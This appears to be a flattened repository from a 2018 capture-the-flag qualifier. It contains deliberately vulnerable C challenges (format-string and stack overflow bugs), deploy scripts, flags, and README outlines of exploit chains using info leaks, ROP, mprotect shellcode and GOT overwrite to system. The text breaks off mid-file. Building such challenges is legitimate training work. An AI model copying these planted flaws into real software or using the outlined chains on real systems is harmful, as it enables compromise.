2 | /etc/init.d/xinetd restart 3 | sleep infinity; 4 | -------------------------------------------------------------------------------- /attack/catch_the_bug/deploy/stop_docker.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | docker rm -f bug 3 | -------------------------------------------------------------------------------- /attack/catch_the_bug/deploy/xinetd_file: -------------------------------------------------------------------------------- 1 | # default: on 2 | service bug 3 | { 4 | disable = no 5 | flags = REUSE 6 | protocol = tcp 7 | socket_type = stream 8 | wait = no 9 | user = bug 10 | server = /home/bug/bug 11 | type = UNLISTED 12 | port = 55555 13 | } 14 | 15 | -------------------------------------------------------------------------------- /attack/catch_the_bug/prob/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = bug 2 | 3 | SRCDIR = src 4 | INCDIR = inc 5 | OBJDIR = obj 6 | BINDIR = bin 7 | 8 | SRCS := $(wildcard $(SRCDIR)/*.c) 9 | INCS := $(wildcard $(INCDIR)/*.h) 10 | OBJS := $(SRCS:$(SRCDIR)/%.c=$(OBJDIR)/%.o) 11 | 12 | CC = gcc 13 | CFLAGS = -fPIE -Wall -I$(INCDIR) 14 | LFLAGS = -pie -Wall -z relro -z now 15 | 16 | 17 | .PHONY: clean 18 | 19 | default: all 20 | 21 | all: $(BINDIR)/$(TARGET) 22 | @echo $(BINDIR)/$(TARGET) 23 | 24 | $(BINDIR)/$(TARGET): $(OBJS) 25 | @echo 26 | @echo "[*] Compilation finished. Build executable:" $@ 27 | @echo 28 | @mkdir -p $(BINDIR) 29 | $(CC) $(LFLAGS) $^ -o $@ 30 | @echo 31 | @echo "[*] Successfully build!" 32 | 33 | $(OBJS): $(OBJDIR)/%.o : $(SRCDIR)/%.c 34 | @mkdir -p $(OBJDIR) 35 | $(CC) $(CFLAGS) -c $< -o $@ 36 | 37 | clean: 38 | rm -rf $(OBJDIR) $(BINDIR) 39 | 40 | -------------------------------------------------------------------------------- /attack/catch_the_bug/prob/inc/init.h: -------------------------------------------------------------------------------- 1 | #ifndef _INIT_H_ 2 | #define _INIT_H_ 3 | 4 | void init(); 5 | void print_logo(); 6 | 7 | #endif 8 | -------------------------------------------------------------------------------- /attack/catch_the_bug/prob/inc/main.h: -------------------------------------------------------------------------------- 1 | #ifndef _MAIN_H_ 2 | #define _MAIN_H_ 3 | 4 | 5 | #endif 6 | -------------------------------------------------------------------------------- /attack/catch_the_bug/prob/inc/menu.h: -------------------------------------------------------------------------------- 1 | #ifndef _MENU_H_ 2 | #define _MENU_H_ 3 | 4 | #define LEN_BUGS 3 5 | 6 | typedef struct _bug 7 | { 8 | char name[0x8]; 9 | unsigned int picture_id; 10 | } Bug; 11 | 12 | typedef struct _report 13 | { 14 | char report_buf[0x700]; 15 | char password[0x8]; 16 | char *cursor; 17 | char *password_cursor; 18 | } Report; 19 | 20 | int bug_count; 21 | Bug bugs[LEN_BUGS]; 22 | Report global_report; 23 | 24 | void catch_bug(); 25 | void inspect_bug(); 26 | void submit_report(); 27 | 28 | #endif 29 | -------------------------------------------------------------------------------- /attack/catch_the_bug/prob/inc/utils.h: -------------------------------------------------------------------------------- 1 | #ifndef _UTILS_H_ 2 | #define _UTILS_H_ 3 | 4 | void print_menu(); 5 | int read_int(); 6 | int read_string(char*, int); 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /attack/catch_the_bug/prob/src/init.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "menu.h" 7 | 8 | void init() 9 | { 10 | setvbuf(stdin, NULL, _IONBF, 0); 11 | setvbuf(stdout, NULL, _IONBF, 0); 12 | bug_count = 0; 13 | global_report.cursor = global_report.report_buf; 14 | global_report.password_cursor = global_report.password; 15 | srand(time(NULL)); 16 | alarm(30); 17 | } 18 | 19 | void print_logo() 20 | { 21 | puts(" ██████╗ █████╗ ███████╗ ██████╗██╗ ██╗"); 22 | puts("██╔════╝██╔══██╗╚═██╔══╝██╔════╝██║ ██║"); 23 | puts("██║ ███████║ ██║ ██║ ███████║"); 24 | puts("██║ ██╔══██║ ██║ ██║ ██╔══██║"); 25 | puts("╚██████╗██║ ██║ ██║ ╚██████╗██║ ██║"); 26 | puts(" ╚═════╝╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝"); 27 | puts("███████╗██╗ ██╗███████╗"); 28 | puts("╚═██╔══╝██║ ██║██╔════╝"); 29 | puts(" ██║ ███████║███████╗"); 30 | puts(" ██║ ██╔══██║██╔════╝"); 31 | puts(" ██║ ██║ ██║███████╗"); 32 | puts(" ╚═╝ ╚═╝ ╚═╝╚══════╝"); 33 | puts("██████╗ ██╗ ██╗ █████╗ "); 34 | puts("██╔══██╗██║ ██║██╔═══╝ "); 35 | puts("██████╔╝██║ ██║██║ ███╗"); 36 | puts("██╔══██╗██║ ██║██║ ██║"); 37 | puts("██████╔╝╚█████╔╝╚█████╔╝"); 38 | puts("╚═════╝ ╚════╝ ╚════╝"); 39 | puts(""); 40 | } 41 | -------------------------------------------------------------------------------- /attack/catch_the_bug/prob/src/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "init.h" 4 | #include "utils.h" 5 | #include "menu.h" 6 | 7 | int main(void) 8 | { 9 | int c; 10 | init(); 11 | print_logo(); 12 | while(1) 13 | { 14 | print_menu(); 15 | c = read_int(); 16 | switch(c) 17 | { 18 | case 1: 19 | catch_bug(); 20 | break; 21 | case 2: 22 | inspect_bug(); 23 | break; 24 | case 3: 25 | submit_report(); 26 | case 0: 27 | goto EXIT; 28 | default: 29 | puts("Illegal menu"); 30 | break; 31 | } 32 | } 33 | EXIT: 34 | return 0; 35 | } 36 | -------------------------------------------------------------------------------- /attack/catch_the_bug/prob/src/menu.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "menu.h" 7 | #include "utils.h" 8 | 9 | const char pictures[3][0x200] = { 10 | " _ _ \n" 11 | " / `._ _.' \\ \n" 12 | "( @ : `. .' : @ )\n" 13 | " \\ `. `. ._ _. .' .' / \n" 14 | " \\;' `. `. \\ / .' .' `;/ \n" 15 | " \\`. `. \\ \\_/ / .' .'/ \n" 16 | " ) :-._`. \\ (:) / .'_.-: ( \n" 17 | " (`.....,`.\\/:\\/.',.....') \n" 18 | " >------._|:::|_.------< \n" 19 | " / .'._>_.-|:::|-._<_.'. \\ \n" 20 | " |o _.-'_.-^|:|^-._`-._ o| \n" 21 | " |`' ;_.-'|:|`-._; `'| \n" 22 | " \".o_.-' ;.\"|:|\".; `-._o.\" \n" 23 | " \".__.\" \\:/ \".__.\" \n" 24 | " ^ \n", 25 | " /x\\ /x\\ \n" 26 | " /v\\x\\ /v\\/\\ \n" 27 | " \\><\\x\\ /><\\x\\ /><\\x/>= LEN_BUGS) 59 | { 60 | puts("Your bag is full!"); 61 | return; 62 | } 63 | 64 | printf("Finding the bug"); 65 | for(int i=0; i<3; i++) 66 | { 67 | printf("."); 68 | sleep(1); 69 | } 70 | puts(""); 71 | 72 | if(random == 0b11) 73 | { 74 | puts("There is no bug =("); 75 | return; 76 | } 77 | puts("You have caught a bug!"); 78 | puts(""); 79 | 80 | printf(pictures[random]); 81 | puts(""); 82 | 83 | puts("Name the bug"); 84 | printf(">> "); 85 | read_string(bugs[bug_count].name, 4); 86 | bugs[bug_count].picture_id = random; 87 | bug_count++; 88 | } 89 | 90 | void inspect_bug() 91 | { 92 | if(!bug_count) 93 | { 94 | puts("You did not find any bugs!"); 95 | return; 96 | } 97 | 98 | for(int i = 0; i < bug_count; i++) 99 | { 100 | puts("========================="); 101 | printf(bugs[i].name); 102 | puts(""); 103 | printf(pictures[bugs[i].picture_id]); 104 | puts(""); 105 | } 106 | puts("========================="); 107 | } 108 | 109 | void submit_report() 110 | { 111 | puts("Submit a report about your work"); 112 | puts("Report title"); 113 | global_report.cursor += read_string(global_report.cursor, 0x40); 114 | puts("Report subtitle"); 115 | global_report.cursor += read_string(global_report.cursor, 0x80); 116 | 117 | for(int i = 0; i < bug_count; i++) 118 | { 119 | memcpy(global_report.cursor, bugs[i].name, 8); 120 | global_report.cursor += 8; 121 | strcpy(global_report.cursor, pictures[bugs[i].picture_id]); 122 | global_report.cursor += strlen(pictures[bugs[i].picture_id]); 123 | } 124 | puts("Report body"); 125 | global_report.cursor += read_string(global_report.cursor, 0x100); 126 | puts("Report tag"); 127 | global_report.cursor += read_string(global_report.cursor, 0x8); 128 | puts("Report password"); 129 | read_string(global_report.password_cursor, 0x8); 130 | } 131 | -------------------------------------------------------------------------------- /attack/catch_the_bug/prob/src/utils.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int read_int() 6 | { 7 | char buf[0x10]; 8 | 9 | buf[read(0, buf, 0xf)] = '\0'; 10 | return atoi(buf); 11 | } 12 | 13 | int read_string(char *dst, int len) 14 | { 15 | int n = 0; 16 | while(n < len) 17 | { 18 | n += read(0, dst + n, len - n); 19 | if((n > 0 && (dst[n - 1] == '\0' || dst[n - 1] == '\n')) || n == len) 20 | { 21 | dst[n - 1] = '\0'; 22 | break; 23 | } 24 | } 25 | return n; 26 | } 27 | 28 | void print_menu() 29 | { 30 | puts("------------------------"); 31 | puts("- Program Menu -"); 32 | puts("------------------------"); 33 | puts("- 1. Catch a bug -"); 34 | puts("- 2. Inspect the bug -"); 35 | puts("- 3. Submit a repport -"); 36 | puts("- 0. Exit -"); 37 | puts("------------------------"); 38 | printf(">> "); 39 | } 40 | -------------------------------------------------------------------------------- /attack/crashcollector/README.md: -------------------------------------------------------------------------------- 1 | # crashcollector 2 | 3 | ## Description 4 | Please report all bugs! 5 | (ip : port, binary link, libc link) 6 | 7 | ## Challenge setup 8 | ./deploy/run.sh 9 | 10 | ## Exploit 11 | 12 | ### phase 1 : find bug 13 | Program implements simple string tokenizing algorithm. 14 | 15 | There is simple bug while parsing the tokens. So we can trigger Crash handler. 16 | 17 | 18 | ### phase 2 : info leak 19 | Inside crash handler, there is another bug. 20 | 21 | If the stack situation is ideal, the bug leaks register context to user. 22 | 23 | To trigger info-leak, user can controll stack contents and overwrite the CrashHandler stack 24 | 25 | with the previously-existing stack contents (with the sprintf inside CrashHandler). 26 | 27 | With this stack BOF in crashhandler, attacker can overwrite the FD of send-report feature into 0 (socket) 28 | 29 | once, the FD is overwritten into 0, the register context is sent to user regardless of IP/PORT. 30 | 31 | 32 | ### phase 3 : RIP control 33 | after info is leaked. there is another bug inside crash handler 34 | 35 | which allows attacker to hijack RIP. To get RIP, we need to overwrite 36 | 37 | inner-stack-frame of `scanf`. 38 | 39 | cannot overwrite GOT because full-relro 40 | 41 | 42 | 43 | ### phase 4 : Full ROP 44 | once RIP is hijacked, we need to extend it to full ROP by jumping into 45 | 46 | fgets inside bug fuction. jumping into system won't work because of sandbox(SECCOMP) 47 | 48 | anyway, because of the sudden jump, stack frame is messed 49 | 50 | so we can overwrite stack of fgets with fgets. 51 | 52 | with ROP, we execute mprotect and gets to execute open-read-write shellcode. 53 | 54 | 55 | -------------------------------------------------------------------------------- /attack/crashcollector/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | 3 | ENV USER crashcollector 4 | ENV FLAG flag 5 | 6 | #Adduser 7 | RUN useradd -b /home/$USER $USER 8 | 9 | #Copy Binary 10 | ADD $USER /home/$USER/$USER 11 | ADD libc-2.23.so /crash-libc.so 12 | 13 | #Set Flag 14 | ADD flag /home/$USER/$FLAG 15 | 16 | #Set Priviledge 17 | RUN chown -R root:$USER /home/$USER 18 | RUN chmod 750 /home/$USER 19 | RUN chmod 750 /home/$USER/$USER 20 | RUN chmod 440 /home/$USER/$FLAG 21 | 22 | #COPY start script 23 | ADD ./super.pl / 24 | 25 | WORKDIR /home/$USER 26 | CMD ["perl", "/super.pl"] 27 | 28 | EXPOSE 7778 29 | 30 | 31 | -------------------------------------------------------------------------------- /attack/crashcollector/deploy/crashcollector: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/attack/crashcollector/deploy/crashcollector -------------------------------------------------------------------------------- /attack/crashcollector/deploy/flag: -------------------------------------------------------------------------------- 1 | SCTF{Thanks_For_4ll_Your_Cr4sh3S} 2 | -------------------------------------------------------------------------------- /attack/crashcollector/deploy/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/attack/crashcollector/deploy/libc-2.23.so -------------------------------------------------------------------------------- /attack/crashcollector/deploy/run.sh: -------------------------------------------------------------------------------- 1 | docker build -t crashcollector_image . 2 | docker rm -f crashcollector 3 | docker run -d -p 7778:7778 --name crashcollector crashcollector_image 4 | -------------------------------------------------------------------------------- /attack/crashcollector/deploy/super.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | use Socket; 3 | $port = 7778; 4 | @exec = ("su", "crashcollector", "-c", "LD_PRELOAD=/crash-libc.so /home/crashcollector/crashcollector"); 5 | socket(SERVER, PF_INET, SOCK_STREAM, 6); 6 | setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)); 7 | bind(SERVER, sockaddr_in($port, INADDR_ANY)); 8 | listen(SERVER,SOMAXCONN); 9 | $SIG{"CHLD"} = "IGNORE"; 10 | while($addr = accept CLIENT, SERVER){ 11 | $| = 1; 12 | ($port, $packed_ip) = sockaddr_in($addr); 13 | $datestring = localtime(); 14 | $ip = inet_ntoa($packed_ip); 15 | print "$ip: $port connected($datestring)\n"; 16 | fork || do { 17 | $| = 1; 18 | close SERVER; 19 | open STDIN, "<&CLIENT"; 20 | open STDOUT, ">&CLIENT"; 21 | #open STDERR, ">&CLIENT"; 22 | close CLIENT; 23 | exec @exec; 24 | exit 0; 25 | }; 26 | close CLIENT; 27 | } 28 | close SERVER; 29 | 30 | -------------------------------------------------------------------------------- /attack/crashcollector/prob/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -o crashcollector crashcollector.c -lseccomp -fPIC -pie -Wl,-z,relro,-z,now 3 | -------------------------------------------------------------------------------- /attack/crashcollector/prob/crashcollector: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/attack/crashcollector/prob/crashcollector -------------------------------------------------------------------------------- /attack/crashcollector/prob/crashcollector.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include "regnum.h" 14 | 15 | typedef struct _tagINFO{ 16 | char report[160]; 17 | struct sockaddr_in saddr; 18 | int sd; 19 | }INFO, *PINFO; 20 | 21 | void sandbox(){ 22 | scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW); 23 | if (ctx == NULL) { 24 | printf("seccomp error\n"); 25 | exit(0); 26 | } 27 | 28 | seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0); 29 | 30 | if (seccomp_load(ctx) < 0){ 31 | seccomp_release(ctx); 32 | printf("seccomp error\n"); 33 | exit(0); 34 | } 35 | seccomp_release(ctx); 36 | } 37 | 38 | void CrashReport(int signum, siginfo_t *inf, struct ucontext* sc){ 39 | printf("Oops... memory error... your application has crashed...\n"); 40 | char buf[10]; 41 | int idx=0; 42 | INFO info; 43 | info.sd = socket(AF_INET, SOCK_STREAM, 0); 44 | info.saddr.sin_family = AF_INET; 45 | info.saddr.sin_port = htons(31337); 46 | inet_pton(AF_INET, "10.34.131.158", &(info.saddr.sin_addr)); 47 | 48 | unsigned long long rip, efl, rax, rbx, rcx, rdx, rsp, rbp, rsi, rdi; 49 | rip = sc->uc_mcontext.gregs[REG_RIP]; 50 | efl = sc->uc_mcontext.gregs[REG_EFL]; 51 | rax = sc->uc_mcontext.gregs[REG_RAX]; 52 | rbx = sc->uc_mcontext.gregs[REG_RBX]; 53 | rcx = sc->uc_mcontext.gregs[REG_RCX]; 54 | rdx = sc->uc_mcontext.gregs[REG_RDX]; 55 | rsi = sc->uc_mcontext.gregs[REG_RSI]; 56 | rdi = sc->uc_mcontext.gregs[REG_RDI]; 57 | rsp = sc->uc_mcontext.gregs[REG_RSP]; 58 | rbp = sc->uc_mcontext.gregs[REG_RBP]; 59 | sprintf(info.report, "RIP:%llx EFL:%llx, RAX:%llx, RBX:%llx, RCX:%llx, " \ 60 | "RDX:%llx, RSI:%llx, RDI:%llx, RSP:%llx, RBP:%llx, STACK:%s\n", 61 | rip, efl, rax, rbx, rcx, rdx, rsi, rdi, rsp, rbp, rsp); 62 | printf("send crash report to server?\n"); 63 | char c = getchar(); 64 | getchar(); // eat newline 65 | if(c=='y' || c=='Y'){ 66 | connect(info.sd, (struct sockaddr *)&info.saddr, sizeof(info.saddr)); 67 | send(info.sd, info.report, strlen(info.report), MSG_NOSIGNAL); 68 | printf("report sent to server\n"); 69 | } 70 | 71 | printf("what about fixing the program by your self?\n"); 72 | c = getchar(); 73 | getchar(); // eat newline 74 | if(c=='y' || c=='Y'){ 75 | char buf[10]; 76 | printf("maybe stack is broken. let's clear and fix it\n"); 77 | memset(buf, 0, 0x1000); 78 | printf("where do you wan't to fix?\n"); 79 | scanf("%d", &idx); 80 | getchar(); // eat newline 81 | 82 | printf("change memory for the fix?\n"); 83 | scanf("%llx", &buf[idx]); 84 | getchar(); // eat newline 85 | 86 | printf("on second thought... it seems impossible\n"); 87 | exit(-1); 88 | } 89 | 90 | printf("giving up? what a shame...\n"); 91 | exit(inf->si_errno); 92 | } 93 | 94 | typedef struct __token{ 95 | char* word; 96 | struct __token* next; 97 | }token, *ptoken; 98 | ptoken g_head; 99 | 100 | ptoken split(const char* str){ 101 | 102 | ptoken head = 0; 103 | ptoken res = 0; 104 | unsigned int base = 0; 105 | unsigned int pos = 0; 106 | unsigned int len = strlen(str); 107 | while(pos < len){ 108 | if(str[pos++] == 0x20 || pos==len-1){ 109 | // make token 110 | if(!head){ 111 | res = (ptoken)malloc(sizeof(token)); 112 | res->word = malloc(pos-base); 113 | strncpy(res->word, &str[base], pos-base); 114 | head = res; 115 | } 116 | else{ 117 | res->next = (ptoken)malloc(sizeof(token)); 118 | res->next->word = malloc(pos-base); 119 | strncpy(res->next->word, &str[base], pos-base); 120 | res = res->next; 121 | } 122 | base = pos; 123 | } 124 | } 125 | return head; 126 | } 127 | 128 | void print_list(ptoken head){ 129 | ptoken cur = head; 130 | printf("traversing list...\n"); 131 | while(cur){ 132 | printf("[%s]\n", cur->word); 133 | cur = cur->next; 134 | } 135 | } 136 | 137 | int get_idx(){ 138 | int idx=0; 139 | printf("idx?\n"); 140 | scanf("%d", &idx); 141 | getchar(); // eat newline 142 | return idx; 143 | } 144 | 145 | void delete(){ 146 | ptoken arr[30]; 147 | arr[27] = g_head; 148 | arr[28] = get_idx(); 149 | arr[29] = 1; 150 | 151 | if(arr[28]==0){ 152 | printf("you can't delete first token\n"); 153 | return; 154 | } 155 | 156 | while(arr[27]!=0){ 157 | if(arr[28] == arr[29]){ 158 | arr[27]->next = arr[27]->next->next; // bug 159 | break; 160 | } 161 | arr[27] = arr[27]->next; 162 | arr[29] = (long long)(arr[29]) + 1; 163 | } 164 | 165 | printf("token deleted\n"); 166 | } 167 | 168 | void add(ptoken head){ 169 | char buf[240]; 170 | printf("add?\n"); 171 | fgets(buf, 200, stdin); 172 | 173 | ptoken tmp = head; 174 | while(tmp->next) tmp=tmp->next; 175 | 176 | tmp->next = (ptoken)malloc(sizeof(token)); 177 | tmp->next->next = 0; 178 | tmp->next->word = malloc(strlen(buf)); 179 | strncpy(tmp->next->word, buf, strlen(buf)); 180 | 181 | printf("token added\n"); 182 | print_list(head); 183 | } 184 | 185 | void edit(ptoken head){ 186 | int idx = get_idx(); 187 | int no=0; 188 | ptoken tmp = head; 189 | while(tmp!=0){ 190 | if(idx == no){ 191 | printf("edit how?\n"); 192 | fgets(tmp->word, strlen(tmp->word), stdin); 193 | break; 194 | } 195 | tmp = tmp->next; 196 | no++; 197 | } 198 | 199 | printf("token edited\n"); 200 | print_list(head); 201 | } 202 | 203 | void bug(){ 204 | char buf[600]; 205 | printf("bug?\n"); 206 | fgets(buf, 800, stdin); 207 | } 208 | 209 | int main(void){ 210 | 211 | sandbox(); 212 | setvbuf(stdout, 0, _IONBF, 0); 213 | setvbuf(stdin, 0, _IOLBF, 0); 214 | 215 | // setup page fault handler 216 | struct sigaction act; 217 | memset(&act, 0, sizeof(act)); 218 | act.sa_sigaction = CrashReport; 219 | act.sa_flags = SA_SIGINFO; 220 | sigaction(SIGSEGV, &act, NULL); 221 | 222 | char buf[100]; 223 | printf("sentence?\n"); 224 | fgets(buf, 100, stdin); 225 | 226 | ptoken head = split(buf); 227 | g_head = head; 228 | print_list( head ); 229 | 230 | unsigned int menu=0; 231 | while(1){ 232 | printf("\n- select menu -\n"); 233 | printf("1. : add token\n"); 234 | printf("2. : delete token\n"); 235 | printf("3. : edit token\n"); 236 | printf("4. : exit\n"); 237 | printf("> "); 238 | 239 | menu = get_idx(); 240 | switch(menu){ 241 | case 1: 242 | add(head); 243 | case 2: 244 | delete(); 245 | break; 246 | case 3: 247 | edit(head); 248 | break; 249 | case 4: 250 | exit(0); 251 | break; 252 | case 31337: 253 | bug(); 254 | default: 255 | printf("wrong menu...\n"); 256 | break; 257 | } 258 | } 259 | 260 | return 0; 261 | } 262 | 263 | 264 | -------------------------------------------------------------------------------- /attack/crashcollector/prob/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/attack/crashcollector/prob/libc-2.23.so -------------------------------------------------------------------------------- /attack/crashcollector/prob/regnum.h: -------------------------------------------------------------------------------- 1 | /* Number of each register in the `gregset_t' array. */ 2 | enum 3 | { 4 | REG_R8 = 0, 5 | # define REG_R8 REG_R8 6 | REG_R9, 7 | # define REG_R9 REG_R9 8 | REG_R10, 9 | # define REG_R10 REG_R10 10 | REG_R11, 11 | # define REG_R11 REG_R11 12 | REG_R12, 13 | # define REG_R12 REG_R12 14 | REG_R13, 15 | # define REG_R13 REG_R13 16 | REG_R14, 17 | # define REG_R14 REG_R14 18 | REG_R15, 19 | # define REG_R15 REG_R15 20 | REG_RDI, 21 | # define REG_RDI REG_RDI 22 | REG_RSI, 23 | # define REG_RSI REG_RSI 24 | REG_RBP, 25 | # define REG_RBP REG_RBP 26 | REG_RBX, 27 | # define REG_RBX REG_RBX 28 | REG_RDX, 29 | # define REG_RDX REG_RDX 30 | REG_RAX, 31 | # define REG_RAX REG_RAX 32 | REG_RCX, 33 | # define REG_RCX REG_RCX 34 | REG_RSP, 35 | # define REG_RSP REG_RSP 36 | REG_RIP, 37 | # define REG_RIP REG_RIP 38 | REG_EFL, 39 | # define REG_EFL REG_EFL 40 | REG_CSGSFS, /* Actually short cs, gs, fs, __pad0. */ 41 | # define REG_CSGSFS REG_CSGSFS 42 | REG_ERR, 43 | # define REG_ERR REG_ERR 44 | REG_TRAPNO, 45 | # define REG_TRAPNO REG_TRAPNO 46 | REG_OLDMASK, 47 | # define REG_OLDMASK REG_OLDMASK 48 | REG_CR2 49 | # define REG_CR2 REG_CR2 50 | }; 51 | -------------------------------------------------------------------------------- /attack/dvchat/README.md: -------------------------------------------------------------------------------- 1 | # dvchat 2 | 3 | ## Description 4 | Damn Vulnerable Chat! 5 | (ip : port, binary link, libc link) 6 | 7 | ## Challenge setup 8 | ./deploy/run.sh 9 | 10 | ## Exploit 11 | 12 | ### phase 1 : find bug 13 | This is a skeleton interface for NCURSES based chatting program 14 | There is three threads, two of child threads are SECCOMP sandboxed 15 | There is a thread-race-condition vulnerability that allows stack underflow 16 | 17 | ### phase 2 : info leak 18 | Using the stack underflow in getinput function, attacker can extend the 19 | bug into full-chain ROP by using scanf. initially (%14$s) overwrites main's 20 | stack and bypass CANARY. 21 | 22 | ### phase 3 : GOT overwrite 23 | using ROP, attacker leaks LIBC with GOT address 24 | then, trigger second exploit with scanf (replace free - scanf) 25 | 26 | ### phase 4 : call system 27 | free's GOT is changed to system. 28 | now we jump into free("sh"); 29 | 30 | -------------------------------------------------------------------------------- /attack/dvchat/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | 3 | ENV USER dvchat 4 | ENV FLAG flag_802743cb7dfca891af0ed89056fa3c3d 5 | 6 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/kr.archive.ubuntu.com/g" /etc/apt/sources.list 7 | RUN apt-get update 8 | RUN apt-get install -y libncurses-dev libseccomp-dev 9 | 10 | #Adduser 11 | RUN useradd -b /home/$USER $USER 12 | 13 | #Copy Binary 14 | ADD $USER /home/$USER/$USER 15 | ADD libc-2.23.so /dvchat-libc.so 16 | 17 | #Set Flag 18 | ADD flag /home/$USER/$FLAG 19 | 20 | #Set Priviledge 21 | RUN chown -R root:$USER /home/$USER 22 | RUN chmod 750 /home/$USER 23 | RUN chmod 750 /home/$USER/$USER 24 | RUN chmod 440 /home/$USER/$FLAG 25 | 26 | #COPY start script 27 | ADD ./super.pl / 28 | 29 | WORKDIR /home/$USER 30 | CMD ["perl", "/super.pl"] 31 | 32 | EXPOSE 7779 33 | 34 | 35 | -------------------------------------------------------------------------------- /attack/dvchat/deploy/dvchat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/attack/dvchat/deploy/dvchat -------------------------------------------------------------------------------- /attack/dvchat/deploy/flag: -------------------------------------------------------------------------------- 1 | SCTF{N0P4RK1NG4TKA1ST} 2 | -------------------------------------------------------------------------------- /attack/dvchat/deploy/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/attack/dvchat/deploy/libc-2.23.so -------------------------------------------------------------------------------- /attack/dvchat/deploy/run.sh: -------------------------------------------------------------------------------- 1 | docker build -t dvchat_image . 2 | docker rm -f dvchat 3 | docker run -d -p 7779:7779 --name dvchat dvchat_image 4 | -------------------------------------------------------------------------------- /attack/dvchat/deploy/super.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | use Socket; 3 | $port = 7779; 4 | @exec = ("su", "dvchat", "-c", "LD_PRELOAD=/dvchat-libc.so /home/dvchat/dvchat"); 5 | socket(SERVER, PF_INET, SOCK_STREAM, 6); 6 | setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)); 7 | bind(SERVER, sockaddr_in($port, INADDR_ANY)); 8 | listen(SERVER,SOMAXCONN); 9 | $SIG{"CHLD"} = "IGNORE"; 10 | while($addr = accept CLIENT, SERVER){ 11 | $| = 1; 12 | ($port, $packed_ip) = sockaddr_in($addr); 13 | $datestring = localtime(); 14 | $ip = inet_ntoa($packed_ip); 15 | print "$ip: $port connected($datestring)\n"; 16 | fork || do { 17 | $| = 1; 18 | close SERVER; 19 | open STDIN, "<&CLIENT"; 20 | open STDOUT, ">&CLIENT"; 21 | #open STDERR, ">&CLIENT"; 22 | close CLIENT; 23 | exec @exec; 24 | exit 0; 25 | }; 26 | close CLIENT; 27 | } 28 | close SERVER; 29 | -------------------------------------------------------------------------------- /attack/dvchat/prob/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -o dvchat dvchat.c -lncurses -lpthread -lseccomp -no-pie 3 | -------------------------------------------------------------------------------- /attack/dvchat/prob/dvchat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/attack/dvchat/prob/dvchat -------------------------------------------------------------------------------- /attack/dvchat/prob/dvchat.c: -------------------------------------------------------------------------------- 1 | // gcc -o dvchat dvchat.c -lncurses -lpthread 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #define RECV_H 15 16 | #define RECV_W 40 17 | #define RECV_Y 1 18 | #define RECV_X (2+10) 19 | 20 | #define SEND_H 5 21 | #define SEND_W 55 22 | #define SEND_Y 16 23 | #define SEND_X (2+10) 24 | 25 | #define LIST_H 15 26 | #define LIST_W 14 27 | #define LIST_Y 1 28 | #define LIST_X (43+10) 29 | 30 | typedef struct __record{ 31 | unsigned int no; 32 | char* ip; 33 | char* port; 34 | char* id; 35 | struct __record* next; 36 | }record, *precord; 37 | 38 | typedef struct _MSGQ{ 39 | struct _MSGQ* next; 40 | char* msg; 41 | }MSGQ, *PMSGQ; 42 | 43 | void trim(char* s); 44 | void draw_server_window(); 45 | PMSGQ g_head; 46 | char* g_id; 47 | char* g_pw; 48 | int lock=0; 49 | char* g_log; 50 | char* prompt; 51 | WINDOW* g_server_win; 52 | WINDOW* g_list_win; 53 | int g_bot_n; 54 | char g_buf[1024]; 55 | 56 | void sandbox(){ 57 | scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); 58 | if (ctx == NULL) { 59 | printf("seccomp error\n"); 60 | exit(0); 61 | } 62 | 63 | seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); 64 | seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); 65 | seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); 66 | seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); 67 | seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sigaction), 0); 68 | seccomp_rule_add(ctx, SCMP_ACT_ALLOW, 